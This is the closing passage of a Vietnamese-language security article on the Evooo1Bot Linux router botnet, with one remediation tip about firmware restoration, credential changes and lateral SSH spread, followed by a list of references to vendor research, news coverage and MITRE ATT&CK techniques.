*   **Nếu nghi ngờ đã nhiễm, không chỉ khởi động lại:** khôi phục firmware về bản gốc mới nhất, đổi toàn bộ credential, và rà soát các thiết bị khác trong cùng phân đoạn — module brute-force SSH lây lan theo chiều ngang trong mạng nội bộ.
    

* * *

## Tài liệu tham khảo

*   FortiGuard Labs — [Multi-Functional Linux Botnet "Evooo1Bot"](https://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot), Cara Lin (13/08/2026) — báo cáo gốc
    
*   BleepingComputer — [New Evooo1Bot Linux botnet turns routers into traffic relay nodes](https://www.bleepingcomputer.com/news/security/new-evooo1bot-linux-botnet-turns-routers-into-traffic-relay-nodes/)
    
*   GBHackers — [Evooo1Bot Turns Compromised Routers Into DDoS Bots and Anonymous Proxy Nodes](https://gbhackers.com/linux-botnet-dubbed-evooo1bot/)
    
*   Techzine — [New Linux botnet turns routers into proxy servers](https://www.techzine.eu/news/security/143630/new-linux-botnet-turns-routers-into-proxy-servers/)
    
*   FastNetMon — [DDoS News: Evooo1Bot Linux Botnet Hijacks Routers and Firewalls](https://fastnetmon.com/2026/08/19/ddos-news-evooo1bot-linux-botnet-hijacks-routers-and-firewalls/)
    
*   MITRE ATT&CK — [T1090: Proxy](https://attack.mitre.org/techniques/T1090/)
    
*   MITRE ATT&CK — [T1622: Debugger Evasion](https://attack.mitre.org/techniques/T1622/)
